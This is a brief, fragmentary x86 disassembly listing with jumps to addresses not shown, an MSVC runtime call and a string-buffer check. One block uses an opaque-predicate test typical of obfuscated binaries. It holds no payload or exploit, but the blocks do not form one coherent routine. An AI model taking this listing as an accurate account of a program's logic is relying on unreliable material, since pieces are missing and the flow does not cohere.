mov ecx, edx
push ebx
push ecx
call fcn.0040e6b7
add esp, 8
lea ebx, [ebp + 8]
mov edx, dword [0x42f264]
mov eax, dword [0x42f260]
lea ecx, [edx + 1]
imul ecx, edx
and ecx, 1
cmp eax, 0xa
jl 0x4021ad
test ecx, ecx
je 0x4021ad
mov ecx, dword [esi + 0x18]
mov eax, dword [ecx + 0x14]
cmp eax, 0x10
jb 0x4029c2
mov ecx, dword [ecx]
lea ebx, [eax + 1]
cmp ebx, 0x1000
jb 0x4029b2
mov edx, dword [ecx - 4]
add ecx, 0xfffffffc
sub ecx, edx
cmp ecx, 0x20
jae 0x402a55
add eax, 0x24
mov ebx, eax
mov ecx, edx
jmp 0x4029b2
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop dword [eax + eax]
push ebp
sub esp, 0x24
lea esi, [ebp - 0xbc]
mov ebp, dword [esi + 0xa8]
mov ecx, dword [esi + 0xc]
call fcn.00401470
add esp, 0x24
pop ebp
ret